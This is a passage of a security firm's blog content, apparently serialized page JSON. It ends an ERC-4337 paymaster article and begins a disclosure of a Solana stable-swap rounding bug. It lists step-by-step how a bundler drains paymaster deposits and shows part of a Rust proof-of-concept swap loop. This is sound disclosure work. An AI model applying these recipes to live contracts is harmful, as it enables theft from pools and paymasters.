won't be able to collect payment from the user.",{"type":24,"tag":33,"props":5705,"children":5706},{},[5707,5709,5714,5716,5722,5724,5731],{"type":30,"value":5708},"However, even when ",{"type":24,"tag":156,"props":5710,"children":5712},{"className":5711},[],[5713],{"type":30,"value":2554},{"type":30,"value":5715}," fails, the EntryPoint will still complete the execution and pay the bundler who submitted it. Importantly, this payment comes from the paymaster's deposit, since during validation the ",{"type":24,"tag":156,"props":5717,"children":5719},{"className":5718},[],[5720],{"type":30,"value":5721},"requiredPrefund",{"type":30,"value":5723}," was taken from the paymaster's ",{"type":24,"tag":37,"props":5725,"children":5728},{"href":5726,"rel":5727},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L625-L627",[41],[5729],{"type":30,"value":5730},"deposit",{"type":30,"value":436},{"type":24,"tag":33,"props":5733,"children":5734},{},[5735,5737,5742],{"type":30,"value":5736},"This creates a critical vulnerability for paymasters that implement post-execution charging patterns. Even if the ",{"type":24,"tag":156,"props":5738,"children":5740},{"className":5739},[],[5741],{"type":30,"value":2554},{"type":30,"value":5743}," call fails (meaning the paymaster couldn't collect payment from the user), the paymaster still has to pay the bundler's gas costs from their deposited funds. This vulnerability can be exploited by malicious bundlers in the following way:",{"type":24,"tag":478,"props":5745,"children":5746},{},[5747,5765,5784,5796,5801],{"type":24,"tag":100,"props":5748,"children":5749},{},[5750,5752,5757,5759],{"type":30,"value":5751},"The bundler creates a ",{"type":24,"tag":156,"props":5753,"children":5755},{"className":5754},[],[5756],{"type":30,"value":161},{"type":30,"value":5758}," with an intentionally high ",{"type":24,"tag":156,"props":5760,"children":5762},{"className":5761},[],[5763],{"type":30,"value":5764},"gasPrice",{"type":24,"tag":100,"props":5766,"children":5767},{},[5768,5770,5775,5777,5782],{"type":30,"value":5769},"The bundler ensures the ",{"type":24,"tag":156,"props":5771,"children":5773},{"className":5772},[],[5774],{"type":30,"value":2554},{"type":30,"value":5776}," call will fail by revoking the paymaster's token allowance before ",{"type":24,"tag":156,"props":5778,"children":5780},{"className":5779},[],[5781],{"type":30,"value":2554},{"type":30,"value":5783}," executes",{"type":24,"tag":100,"props":5785,"children":5786},{},[5787,5789,5794],{"type":30,"value":5788},"When ",{"type":24,"tag":156,"props":5790,"children":5792},{"className":5791},[],[5793],{"type":30,"value":2554},{"type":30,"value":5795}," fails, the bundler still gets paid their high gas costs by the paymaster",{"type":24,"tag":100,"props":5797,"children":5798},{},[5799],{"type":30,"value":5800},"The paymaster loses money since they paid the bundler but couldn't collect from the user",{"type":24,"tag":100,"props":5802,"children":5803},{},[5804],{"type":30,"value":5805},"The bundler profits as long as their actual gas costs are less than what they charged",{"type":24,"tag":33,"props":5807,"children":5808},{},[5809,5811,5816,5818,5823],{"type":30,"value":5810},"This effectively allows bundlers to drain paymaster deposits by submitting ",{"type":24,"tag":156,"props":5812,"children":5814},{"className":5813},[],[5815],{"type":30,"value":190},{"type":30,"value":5817}," designed to fail during ",{"type":24,"tag":156,"props":5819,"children":5821},{"className":5820},[],[5822],{"type":30,"value":2554},{"type":30,"value":5824}," while maximizing the gas costs they can charge to the paymaster.",{"type":24,"tag":33,"props":5826,"children":5827},{},[5828,5830,5835,5837,5842,5844,5850,5852,5857],{"type":30,"value":5829},"Some paymasters try to protect against this by simulating the ",{"type":24,"tag":156,"props":5831,"children":5833},{"className":5832},[],[5834],{"type":30,"value":161},{"type":30,"value":5836}," execution before signing and allowing it to be submitted. However, this protection can be easily bypassed because an attacker can simply approve the required token allowance during simulation to pass validation, but then revoke the allowance just before the ",{"type":24,"tag":156,"props":5838,"children":5840},{"className":5839},[],[5841],{"type":30,"value":161},{"type":30,"value":5843}," is submitted via ",{"type":24,"tag":156,"props":5845,"children":5847},{"className":5846},[],[5848],{"type":30,"value":5849},"handleOps",{"type":30,"value":5851},". This means the ",{"type":24,"tag":156,"props":5853,"children":5855},{"className":5854},[],[5856],{"type":30,"value":2554},{"type":30,"value":5858}," will pass simulation but fail during actual execution, allowing the bundler to drain the paymaster's deposit from the EntryPoint.",{"type":24,"tag":33,"props":5860,"children":5861},{},[5862],{"type":30,"value":5863},"To protect against this vulnerability, paymasters should implement pre-execution charging patterns rather than post-execution charging. This means requiring users to pre-fund the full estimated gas cost during the validation phase, before the operation executes. By collecting payment upfront, the paymaster is protected against failed post-execution transfers that could be exploited by malicious bundlers.",{"type":24,"tag":33,"props":5865,"children":5866},{},[5867],{"type":30,"value":5868},"If post-execution charging is absolutely necessary for UX reasons, paymasters have several mitigation strategies available. One approach is to restrict usage to a whitelist of trusted bundlers, though this introduces centralization concerns. Alternatively, Pimlico tries to address this issue by tightening API limits and constraining ERC-20 usage for its users.",{"type":24,"tag":33,"props":5870,"children":5871},{},[5872],{"type":30,"value":5873},"The most secure approach is to require upfront pre-funding, even though it may temporarily lock more user funds. This small UX tradeoff is worth the strong security guarantees it provides against paymaster exploitation.",{"type":24,"tag":25,"props":5875,"children":5877},{"id":5876},"conclusion",[5878],{"type":30,"value":5879},"Conclusion",{"type":24,"tag":33,"props":5881,"children":5882},{},[5883],{"type":30,"value":5884},"ERC-4337 paymasters enable powerful new UX patterns by abstracting away gas costs from end users. However, implementing them securely requires careful consideration of the standard's execution flow and potential attack vectors. The key lessons are:",{"type":24,"tag":478,"props":5886,"children":5887},{},[5888,5893,5898,5903,5908],{"type":24,"tag":100,"props":5889,"children":5890},{},[5891],{"type":30,"value":5892},"Always collect full payment during validation, not after execution",{"type":24,"tag":100,"props":5894,"children":5895},{},[5896],{"type":30,"value":5897},"Be conservative with gas estimations and include safety margins",{"type":24,"tag":100,"props":5899,"children":5900},{},[5901],{"type":30,"value":5902},"Carefully validate all user inputs and token transfers",{"type":24,"tag":100,"props":5904,"children":5905},{},[5906],{"type":30,"value":5907},"Test extensively, including simulation of malicious behavior",{"type":24,"tag":100,"props":5909,"children":5910},{},[5911,5913,5918],{"type":30,"value":5912},"Always review changes in new ",{"type":24,"tag":156,"props":5914,"children":5916},{"className":5915},[],[5917],{"type":30,"value":243},{"type":30,"value":5919}," versions, as they may impact your paymaster's design and security assumptions",{"type":24,"tag":33,"props":5921,"children":5922},{},[5923,5925,5930,5932,5937,5939,5944],{"type":30,"value":5924},"The last point is particularly important as the ERC-4337 standard continues to evolve. Changes to the ",{"type":24,"tag":156,"props":5926,"children":5928},{"className":5927},[],[5929],{"type":30,"value":243},{"type":30,"value":5931}," contract's behavior could potentially break existing ",{"type":24,"tag":156,"props":5933,"children":5935},{"className":5934},[],[5936],{"type":30,"value":318},{"type":30,"value":5938}," implementations or introduce new security considerations. Developers should thoroughly review release notes and diffs when upgrading to new ",{"type":24,"tag":156,"props":5940,"children":5942},{"className":5941},[],[5943],{"type":30,"value":243},{"type":30,"value":5945}," versions.",{"type":24,"tag":33,"props":5947,"children":5948},{},[5949],{"type":30,"value":5950},"By following these best practices, developers can build robust paymasters that enhance UX while protecting against exploitation. As the ERC-4337 ecosystem matures, secure paymaster implementations will be crucial for driving mainstream adoption of account abstraction.",{"type":24,"tag":33,"props":5952,"children":5953},{},[5954],{"type":30,"value":5955},"If you're building a paymaster and want to ensure it's secure against these and other vulnerabilities, consider getting an audit from us. Our team has extensive experience auditing ERC-4337 implementations and can help identify potential security issues before they impact production.",{"type":24,"tag":5957,"props":5958,"children":5959},"style",{},[5960],{"type":30,"value":5961},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}",{"title":7,"searchDepth":984,"depth":984,"links":5963},[5964,5965,5966,5973,5978,5979],{"id":70,"depth":984,"text":73},{"id":86,"depth":984,"text":89},{"id":127,"depth":984,"text":130,"children":5967},[5968,5969,5970,5971,5972],{"id":153,"depth":993,"text":161},{"id":195,"depth":993,"text":198},{"id":222,"depth":993,"text":225},{"id":248,"depth":993,"text":243},{"id":318,"depth":993,"text":329},{"id":381,"depth":984,"text":5974,"children":5975},"Understanding the EntryPoint's Flow",[5976,5977],{"id":439,"depth":993,"text":442},{"id":628,"depth":993,"text":631},{"id":872,"depth":984,"text":878},{"id":2597,"depth":984,"text":2603,"children":5980},[5981,5982],{"id":2658,"depth":993,"text":2661},{"id":2719,"depth":993,"text":2722},"markdown","content:blog:2025-12-02-paymasters-evm.md","content","blog/2025-12-02-paymasters-evm.md","blog/2025-12-02-paymasters-evm","md",[5990,8492,8828,12367,16723,21847,32095,33524,34287,38509,43535,48965,50120,53610,64000,70726,72564,74270,78934,92819,95537,100326,102765,105105,110260,126080,134380,144304,149582,158975,161312],{"_path":5991,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":5992,"description":5993,"image":5994,"date":5998,"isFeatured":16,"tags":5999,"onBlogPage":16,"body":6002,"_type":5983,"_id":8489,"_source":5985,"_file":8490,"_stem":8491,"_extension":5988},"/blog/2022-04-26-spl-swap-rounding","Becoming a Millionaire, 0.000150 BTC at a Time","How we discovered a critical issue in Solana's stable swap implementation. A story about arbitrage and rounding.",{"src":5995,"width":5996,"height":5997},"/posts/spl-swap/title.jpg",600,368,"2022-04-26",[6000,6001],"solana","report",{"type":21,"children":6003,"toc":8483},[6004,6018,6023,6028,6037,6043,6048,6053,6062,6070,6075,6080,6088,6093,6098,6473,6483,6488,7015,7020,7028,7035,7041,7046,7051,7056,7063,7075,7080,7092,7331,7336,7341,7347,7352,7357,7403,7408,7416,7421,7426,7431,7574,7587,7699,7713,7721,7735,7743,7756,7761,7773,7781,7803,8421,8427,8432,8444,8457,8464,8469,8474,8479],{"type":24,"tag":33,"props":6005,"children":6006},{},[6007,6009,6016],{"type":30,"value":6008},"We discovered a critical rounding issue in the Solana Program Library's implementation of stable swap, ",{"type":24,"tag":37,"props":6010,"children":6013},{"href":6011,"rel":6012},"https://github.com/solana-labs/solana-program-library/tree/master/token-swap/program",[41],[6014],{"type":30,"value":6015},"spl-token-swap",{"type":30,"value":6017},". Similar to Neodyme's spl-token-lending exploit, we were able to extract a single token per instruction. This exceeds the value of the 5000 lamport transaction fee on BTC stable swaps, allowing an attacker to profitably drain funds.",{"type":24,"tag":33,"props":6019,"children":6020},{},[6021],{"type":30,"value":6022},"Such BTC stable swaps had over 74 million in combined value. The total value of stable swaps impacted exceed 700 million.",{"type":24,"tag":33,"props":6024,"children":6025},{},[6026],{"type":30,"value":6027},"We would also like to thank the Saber team for their fast triage and remediation.",{"type":24,"tag":33,"props":6029,"children":6030},{},[6031],{"type":24,"tag":6032,"props":6033,"children":6034},"em",{},[6035],{"type":30,"value":6036},"Rounding bugs are an increasingly common vulnerability class, enabled by low transaction costs",{"type":24,"tag":68,"props":6038,"children":6040},{"id":6039},"discovery",[6041],{"type":30,"value":6042},"Discovery",{"type":24,"tag":33,"props":6044,"children":6045},{},[6046],{"type":30,"value":6047},"Parth, one of our researchers, was implementing a graph search for our arbitrage bot to calculate the price of any token relative to SOL.",{"type":24,"tag":33,"props":6049,"children":6050},{},[6051],{"type":30,"value":6052},"After a while, he noticed something weird..",{"type":24,"tag":6054,"props":6055,"children":6056},"blockquote",{},[6057],{"type":24,"tag":33,"props":6058,"children":6059},{},[6060],{"type":30,"value":6061},"so either my graph search is wrong\nor its possible to get a ton of money out of nothing",{"type":24,"tag":920,"props":6063,"children":6065},{"code":6064},"KwnjUuZ :              0 9vMJfxu ->              1 EPjFWdd\nKwnjUuZ :              1 EPjFWdd ->              2 9vMJfxu\nKwnjUuZ :              2 9vMJfxu ->              3 EPjFWdd\nHU1tejU :              3 EPjFWdd ->            625 PRT88Rk\n24ZbKS3 :            625 PRT88Rk ->              7 EPjFWdd\n3oRPcFa :              7 EPjFWdd ->              6 BQcdHdA\n",[6066],{"type":24,"tag":156,"props":6067,"children":6068},{"__ignoreMap":7},[6069],{"type":30,"value":6064},{"type":24,"tag":33,"props":6071,"children":6072},{},[6073],{"type":30,"value":6074},"Somehow, we were getting tokens from nothing?",{"type":24,"tag":33,"props":6076,"children":6077},{},[6078],{"type":30,"value":6079},"After taking a look at the pairs on which this was occuring, we quickly realized that only stable swap pairs were impacted.",{"type":24,"tag":920,"props":6081,"children":6083},{"code":6082},"KwnjUuZhTMTSGAaavkLEmSyfobY16JNH4poL9oeeEvE\nHU1tejUtt7AZYrC9SAuqCW9MpuSqsdoedHSb1XUKjUPN\n24ZbKS36rkPv14Tdx8qv4NRyqatTaJ5KgJrT1LxBKn5d\n3oRPcFaRHvv9pPR6nRasigVDkm3k9kTjdfjxUpgLV5Pq\n",[6084],{"type":24,"tag":156,"props":6085,"children":6086},{"__ignoreMap":7},[6087],{"type":30,"value":6082},{"type":24,"tag":33,"props":6089,"children":6090},{},[6091],{"type":30,"value":6092},"This seemed suspicious. Perhaps it had something to do with the stable swap math?",{"type":24,"tag":33,"props":6094,"children":6095},{},[6096],{"type":30,"value":6097},"It was also weird how we could only ever get at most one extra token. As usual, the best way to answer such questions is to read the code. We dived into the stable swap Solana implementation to look for a possible root cause.",{"type":24,"tag":920,"props":6099,"children":6103},{"code":6100,"language":6101,"meta":7,"className":6102,"style":7},"    // Solve for y by approximating: y**2 + b*y = c\n    let mut y = d_val;\n    for _ in 0..ITERATIONS {\n        let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n            .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n        if y_new == y {\n            break;\n        } else {\n            y = y_new;\n        }\n    }\n","rust","language-rust shiki shiki-themes slack-dark",[6104],{"type":24,"tag":156,"props":6105,"children":6106},{"__ignoreMap":7},[6107,6115,6147,6179,6281,6386,6411,6423,6439,6459,6466],{"type":24,"tag":930,"props":6108,"children":6109},{"class":932,"line":933},[6110],{"type":24,"tag":930,"props":6111,"children":6112},{"style":1422},[6113],{"type":30,"value":6114},"    // Solve for y by approximating: y**2 + b*y = c\n",{"type":24,"tag":930,"props":6116,"children":6117},{"class":932,"line":984},[6118,6123,6128,6133,6138,6143],{"type":24,"tag":930,"props":6119,"children":6120},{"style":937},[6121],{"type":30,"value":6122},"    let",{"type":24,"tag":930,"props":6124,"children":6125},{"style":937},[6126],{"type":30,"value":6127}," mut",{"type":24,"tag":930,"props":6129,"children":6130},{"style":1023},[6131],{"type":30,"value":6132}," y",{"type":24,"tag":930,"props":6134,"children":6135},{"style":1158},[6136],{"type":30,"value":6137}," =",{"type":24,"tag":930,"props":6139,"children":6140},{"style":1023},[6141],{"type":30,"value":6142}," d_val",{"type":24,"tag":930,"props":6144,"children":6145},{"style":959},[6146],{"type":30,"value":5539},{"type":24,"tag":930,"props":6148,"children":6149},{"class":932,"line":993},[6150,6155,6160,6165,6169,6174],{"type":24,"tag":930,"props":6151,"children":6152},{"style":1079},[6153],{"type":30,"value":6154},"    for",{"type":24,"tag":930,"props":6156,"children":6157},{"style":1023},[6158],{"type":30,"value":6159}," _",{"type":24,"tag":930,"props":6161,"children":6162},{"style":937},[6163],{"type":30,"value":6164}," in",{"type":24,"tag":930,"props":6166,"children":6167},{"style":1242},[6168],{"type":30,"value":1245},{"type":24,"tag":930,"props":6170,"children":6171},{"style":1158},[6172],{"type":30,"value":6173},"..",{"type":24,"tag":930,"props":6175,"children":6176},{"style":959},[6177],{"type":30,"value":6178},"ITERATIONS {\n",{"type":24,"tag":930,"props":6180,"children":6181},{"class":932,"line":1057},[6182,6187,6191,6196,6200,6205,6209,6213,6217,6222,6226,6231,6236,6240,6245,6250,6255,6260,6264,6269,6273,6277],{"type":24,"tag":930,"props":6183,"children":6184},{"style":937},[6185],{"type":30,"value":6186},"        let",{"type":24,"tag":930,"props":6188,"children":6189},{"style":959},[6190],{"type":30,"value":1087},{"type":24,"tag":930,"props":6192,"children":6193},{"style":1023},[6194],{"type":30,"value":6195},"y_new",{"type":24,"tag":930,"props":6197,"children":6198},{"style":959},[6199],{"type":30,"value":962},{"type":24,"tag":930,"props":6201,"children":6202},{"style":1023},[6203],{"type":30,"value":6204},"_",{"type":24,"tag":930,"props":6206,"children":6207},{"style":959},[6208],{"type":30,"value":5579},{"type":24,"tag":930,"props":6210,"children":6211},{"style":1158},[6212],{"type":30,"value":1161},{"type":24,"tag":930,"props":6214,"children":6215},{"style":959},[6216],{"type":30,"value":1087},{"type":24,"tag":930,"props":6218,"children":6219},{"style":1002},[6220],{"type":30,"value":6221},"checked_u8_power",{"type":24,"tag":930,"props":6223,"children":6224},{"style":959},[6225],{"type":30,"value":1010},{"type":24,"tag":930,"props":6227,"children":6228},{"style":1158},[6229],{"type":30,"value":6230},"&",{"type":24,"tag":930,"props":6232,"children":6233},{"style":1023},[6234],{"type":30,"value":6235},"y",{"type":24,"tag":930,"props":6237,"children":6238},{"style":959},[6239],{"type":30,"value":962},{"type":24,"tag":930,"props":6241,"children":6242},{"style":1242},[6243],{"type":30,"value":6244},"2",{"type":24,"tag":930,"props":6246,"children":6247},{"style":959},[6248],{"type":30,"value":6249},")",{"type":24,"tag":930,"props":6251,"children":6252},{"style":1158},[6253],{"type":30,"value":6254},"?.",{"type":24,"tag":930,"props":6256,"children":6257},{"style":1002},[6258],{"type":30,"value":6259},"checked_add",{"type":24,"tag":930,"props":6261,"children":6262},{"style":959},[6263],{"type":30,"value":1010},{"type":24,"tag":930,"props":6265,"children":6266},{"style":1023},[6267],{"type":30,"value":6268},"c",{"type":24,"tag":930,"props":6270,"children":6271},{"style":959},[6272],{"type":30,"value":6249},{"type":24,"tag":930,"props":6274,"children":6275},{"style":1158},[6276],{"type":30,"value":5347},{"type":24,"tag":930,"props":6278,"children":6279},{"style":959},[6280],{"type":30,"value":1054},{"type":24,"tag":930,"props":6282,"children":6283},{"class":932,"line":1066},[6284,6289,6294,6298,6303,6307,6311,6315,6319,6323,6327,6331,6335,6339,6344,6348,6352,6357,6361,6366,6370,6374,6378,6382],{"type":24,"tag":930,"props":6285,"children":6286},{"style":1158},[6287],{"type":30,"value":6288},"            .",{"type":24,"tag":930,"props":6290,"children":6291},{"style":1002},[6292],{"type":30,"value":6293},"checked_ceil_div",{"type":24,"tag":930,"props":6295,"children":6296},{"style":959},[6297],{"type":30,"value":1010},{"type":24,"tag":930,"props":6299,"children":6300},{"style":1002},[6301],{"type":30,"value":6302},"checked_u8_mul",{"type":24,"tag":930,"props":6304,"children":6305},{"style":959},[6306],{"type":30,"value":1010},{"type":24,"tag":930,"props":6308,"children":6309},{"style":1158},[6310],{"type":30,"value":6230},{"type":24,"tag":930,"props":6312,"children":6313},{"style":1023},[6314],{"type":30,"value":6235},{"type":24,"tag":930,"props":6316,"children":6317},{"style":959},[6318],{"type":30,"value":962},{"type":24,"tag":930,"props":6320,"children":6321},{"style":1242},[6322],{"type":30,"value":6244},{"type":24,"tag":930,"props":6324,"children":6325},{"style":959},[6326],{"type":30,"value":6249},{"type":24,"tag":930,"props":6328,"children":6329},{"style":1158},[6330],{"type":30,"value":6254},{"type":24,"tag":930,"props":6332,"children":6333},{"style":1002},[6334],{"type":30,"value":6259},{"type":24,"tag":930,"props":6336,"children":6337},{"style":959},[6338],{"type":30,"value":1010},{"type":24,"tag":930,"props":6340,"children":6341},{"style":1023},[6342],{"type":30,"value":6343},"b",{"type":24,"tag":930,"props":6345,"children":6346},{"style":959},[6347],{"type":30,"value":6249},{"type":24,"tag":930,"props":6349,"children":6350},{"style":1158},[6351],{"type":30,"value":6254},{"type":24,"tag":930,"props":6353,"children":6354},{"style":1002},[6355],{"type":30,"value":6356},"checked_sub",{"type":24,"tag":930,"props":6358,"children":6359},{"style":959},[6360],{"type":30,"value":1010},{"type":24,"tag":930,"props":6362,"children":6363},{"style":1023},[6364],{"type":30,"value":6365},"d_val",{"type":24,"tag":930,"props":6367,"children":6368},{"style":959},[6369],{"type":30,"value":6249},{"type":24,"tag":930,"props":6371,"children":6372},{"style":1158},[6373],{"type":30,"value":5347},{"type":24,"tag":930,"props":6375,"children":6376},{"style":959},[6377],{"type":30,"value":6249},{"type":24,"tag":930,"props":6379,"children":6380},{"style":1158},[6381],{"type":30,"value":5347},{"type":24,"tag":930,"props":6383,"children":6384},{"style":959},[6385],{"type":30,"value":5539},{"type":24,"tag":930,"props":6387,"children":6388},{"class":932,"line":1075},[6389,6393,6398,6403,6407],{"type":24,"tag":930,"props":6390,"children":6391},{"style":1079},[6392],{"type":30,"value":3290},{"type":24,"tag":930,"props":6394,"children":6395},{"style":1023},[6396],{"type":30,"value":6397}," y_new",{"type":24,"tag":930,"props":6399,"children":6400},{"style":1158},[6401],{"type":30,"value":6402}," ==",{"type":24,"tag":930,"props":6404,"children":6405},{"style":1023},[6406],{"type":30,"value":6132},{"type":24,"tag":930,"props":6408,"children":6409},{"style":959},[6410],{"type":30,"value":981},{"type":24,"tag":930,"props":6412,"children":6413},{"class":932,"line":1122},[6414,6419],{"type":24,"tag":930,"props":6415,"children":6416},{"style":1079},[6417],{"type":30,"value":6418},"            break",{"type":24,"tag":930,"props":6420,"children":6421},{"style":959},[6422],{"type":30,"value":5539},{"type":24,"tag":930,"props":6424,"children":6425},{"class":932,"line":1131},[6426,6431,6435],{"type":24,"tag":930,"props":6427,"children":6428},{"style":959},[6429],{"type":30,"value":6430},"        } ",{"type":24,"tag":930,"props":6432,"children":6433},{"style":1079},[6434],{"type":30,"value":2317},{"type":24,"tag":930,"props":6436,"children":6437},{"style":959},[6438],{"type":30,"value":981},{"type":24,"tag":930,"props":6440,"children":6441},{"class":932,"line":1144},[6442,6447,6451,6455],{"type":24,"tag":930,"props":6443,"children":6444},{"style":1023},[6445],{"type":30,"value":6446},"            y",{"type":24,"tag":930,"props":6448,"children":6449},{"style":1158},[6450],{"type":30,"value":6137},{"type":24,"tag":930,"props":6452,"children":6453},{"style":1023},[6454],{"type":30,"value":6397},{"type":24,"tag":930,"props":6456,"children":6457},{"style":959},[6458],{"type":30,"value":5539},{"type":24,"tag":930,"props":6460,"children":6461},{"class":932,"line":1169},[6462],{"type":24,"tag":930,"props":6463,"children":6464},{"style":959},[6465],{"type":30,"value":1831},{"type":24,"tag":930,"props":6467,"children":6468},{"class":932,"line":1191},[6469],{"type":24,"tag":930,"props":6470,"children":6471},{"style":959},[6472],{"type":30,"value":1840},{"type":24,"tag":33,"props":6474,"children":6475},{},[6476,6481],{"type":24,"tag":6032,"props":6477,"children":6478},{},[6479],{"type":30,"value":6480},"approximate",{"type":30,"value":6482},". Looks suspicious.. Perhaps we really did find a bug in the Solana Program Library?",{"type":24,"tag":33,"props":6484,"children":6485},{},[6486],{"type":30,"value":6487},"With this promising find in mind, we decided to throw together a quick proof of concept. To do this, we attempted to swap very small amounts of tokens back and forth between sBTC and renBTC.",{"type":24,"tag":920,"props":6489,"children":6491},{"code":6490,"language":6101,"meta":7,"className":6102,"style":7},"// from sbtc to renbtc\nfor i in 0 .. 50u8 {\n    // create swap transaction\n    let mut swap_instruction = swap(\n        &spl_token::id(),\n        &swap_pubkey,\n        &swap_authority_pubkey,\n        &test_account_signer.pubkey(),\n        &sbtc_user_account,\n        &sbtc_reserve,\n        &renbtc_reserve,\n        &renbtc_user_account,\n        &admin_fee_account_sbtc_to_ren,\n        1,\n        2\n    ).unwrap();\n\n    // nonce\n    swap_instruction.data.append(&mut vec![i, extranonce]);\n\n    let mut instructions = vec![];\n\n    instructions.push(swap_instruction);\n\n    env.execute_as_transaction(&instructions, &vec![&test_account_signer]);\n}\n",[6492],{"type":24,"tag":156,"props":6493,"children":6494},{"__ignoreMap":7},[6495,6503,6543,6551,6580,6608,6624,6640,6665,6681,6697,6713,6729,6745,6757,6765,6786,6793,6801,6869,6876,6905,6912,6942,6949,7008],{"type":24,"tag":930,"props":6496,"children":6497},{"class":932,"line":933},[6498],{"type":24,"tag":930,"props":6499,"children":6500},{"style":1422},[6501],{"type":30,"value":6502},"// from sbtc to renbtc\n",{"type":24,"tag":930,"props":6504,"children":6505},{"class":932,"line":984},[6506,6511,6516,6520,6524,6529,6534,6539],{"type":24,"tag":930,"props":6507,"children":6508},{"style":1079},[6509],{"type":30,"value":6510},"for",{"type":24,"tag":930,"props":6512,"children":6513},{"style":1023},[6514],{"type":30,"value":6515}," i",{"type":24,"tag":930,"props":6517,"children":6518},{"style":937},[6519],{"type":30,"value":6164},{"type":24,"tag":930,"props":6521,"children":6522},{"style":1242},[6523],{"type":30,"value":1245},{"type":24,"tag":930,"props":6525,"children":6526},{"style":1158},[6527],{"type":30,"value":6528}," ..",{"type":24,"tag":930,"props":6530,"children":6531},{"style":1242},[6532],{"type":30,"value":6533}," 50",{"type":24,"tag":930,"props":6535,"children":6536},{"style":943},[6537],{"type":30,"value":6538},"u8",{"type":24,"tag":930,"props":6540,"children":6541},{"style":959},[6542],{"type":30,"value":981},{"type":24,"tag":930,"props":6544,"children":6545},{"class":932,"line":993},[6546],{"type":24,"tag":930,"props":6547,"children":6548},{"style":1422},[6549],{"type":30,"value":6550},"    // create swap transaction\n",{"type":24,"tag":930,"props":6552,"children":6553},{"class":932,"line":1057},[6554,6558,6562,6567,6571,6576],{"type":24,"tag":930,"props":6555,"children":6556},{"style":937},[6557],{"type":30,"value":6122},{"type":24,"tag":930,"props":6559,"children":6560},{"style":937},[6561],{"type":30,"value":6127},{"type":24,"tag":930,"props":6563,"children":6564},{"style":1023},[6565],{"type":30,"value":6566}," swap_instruction",{"type":24,"tag":930,"props":6568,"children":6569},{"style":1158},[6570],{"type":30,"value":6137},{"type":24,"tag":930,"props":6572,"children":6573},{"style":1002},[6574],{"type":30,"value":6575}," swap",{"type":24,"tag":930,"props":6577,"children":6578},{"style":959},[6579],{"type":30,"value":2814},{"type":24,"tag":930,"props":6581,"children":6582},{"class":932,"line":1066},[6583,6588,6593,6598,6603],{"type":24,"tag":930,"props":6584,"children":6585},{"style":1158},[6586],{"type":30,"value":6587},"        &",{"type":24,"tag":930,"props":6589,"children":6590},{"style":959},[6591],{"type":30,"value":6592},"spl_token",{"type":24,"tag":930,"props":6594,"children":6595},{"style":1158},[6596],{"type":30,"value":6597},"::",{"type":24,"tag":930,"props":6599,"children":6600},{"style":1002},[6601],{"type":30,"value":6602},"id",{"type":24,"tag":930,"props":6604,"children":6605},{"style":959},[6606],{"type":30,"value":6607},"(),\n",{"type":24,"tag":930,"props":6609,"children":6610},{"class":932,"line":1075},[6611,6615,6620],{"type":24,"tag":930,"props":6612,"children":6613},{"style":1158},[6614],{"type":30,"value":6587},{"type":24,"tag":930,"props":6616,"children":6617},{"style":1023},[6618],{"type":30,"value":6619},"swap_pubkey",{"type":24,"tag":930,"props":6621,"children":6622},{"style":959},[6623],{"type":30,"value":2832},{"type":24,"tag":930,"props":6625,"children":6626},{"class":932,"line":1122},[6627,6631,6636],{"type":24,"tag":930,"props":6628,"children":6629},{"style":1158},[6630],{"type":30,"value":6587},{"type":24,"tag":930,"props":6632,"children":6633},{"style":1023},[6634],{"type":30,"value":6635},"swap_authority_pubkey",{"type":24,"tag":930,"props":6637,"children":6638},{"style":959},[6639],{"type":30,"value":2832},{"type":24,"tag":930,"props":6641,"children":6642},{"class":932,"line":1131},[6643,6647,6652,6656,6661],{"type":24,"tag":930,"props":6644,"children":6645},{"style":1158},[6646],{"type":30,"value":6587},{"type":24,"tag":930,"props":6648,"children":6649},{"style":1023},[6650],{"type":30,"value":6651},"test_account_signer",{"type":24,"tag":930,"props":6653,"children":6654},{"style":1158},[6655],{"type":30,"value":436},{"type":24,"tag":930,"props":6657,"children":6658},{"style":1002},[6659],{"type":30,"value":6660},"pubkey",{"type":24,"tag":930,"props":6662,"children":6663},{"style":959},[6664],{"type":30,"value":6607},{"type":24,"tag":930,"props":6666,"children":6667},{"class":932,"line":1144},[6668,6672,6677],{"type":24,"tag":930,"props":6669,"children":6670},{"style":1158},[6671],{"type":30,"value":6587},{"type":24,"tag":930,"props":6673,"children":6674},{"style":1023},[6675],{"type":30,"value":6676},"sbtc_user_account",{"type":24,"tag":930,"props":6678,"children":6679},{"style":959},[6680],{"type":30,"value":2832},{"type":24,"tag":930,"props":6682,"children":6683},{"class":932,"line":1169},[6684,6688,6693],{"type":24,"tag":930,"props":6685,"children":6686},{"style":1158},[6687],{"type":30,"value":6587},{"type":24,"tag":930,"props":6689,"children":6690},{"style":1023},[6691],{"type":30,"value":6692},"sbtc_reserve",{"type":24,"tag":930,"props":6694,"children":6695},{"style":959},[6696],{"type":30,"value":2832},{"type":24,"tag":930,"props":6698,"children":6699},{"class":932,"line":1191},[6700,6704,6709],{"type":24,"tag":930,"props":6701,"children":6702},{"style":1158},[6703],{"type":30,"value":6587},{"type":24,"tag":930,"props":6705,"children":6706},{"style":1023},[6707],{"type":30,"value":6708},"renbtc_reserve",{"type":24,"tag":930,"props":6710,"children":6711},{"style":959},[6712],{"type":30,"value":2832},{"type":24,"tag":930,"props":6714,"children":6715},{"class":932,"line":1223},[6716,6720,6725],{"type":24,"tag":930,"props":6717,"children":6718},{"style":1158},[6719],{"type":30,"value":6587},{"type":24,"tag":930,"props":6721,"children":6722},{"style":1023},[6723],{"type":30,"value":6724},"renbtc_user_account",{"type":24,"tag":930,"props":6726,"children":6727},{"style":959},[6728],{"type":30,"value":2832},{"type":24,"tag":930,"props":6730,"children":6731},{"class":932,"line":1281},[6732,6736,6741],{"type":24,"tag":930,"props":6733,"children":6734},{"style":1158},[6735],{"type":30,"value":6587},{"type":24,"tag":930,"props":6737,"children":6738},{"style":1023},[6739],{"type":30,"value":6740},"admin_fee_account_sbtc_to_ren",{"type":24,"tag":930,"props":6742,"children":6743},{"style":959},[6744],{"type":30,"value":2832},{"type":24,"tag":930,"props":6746,"children":6747},{"class":932,"line":1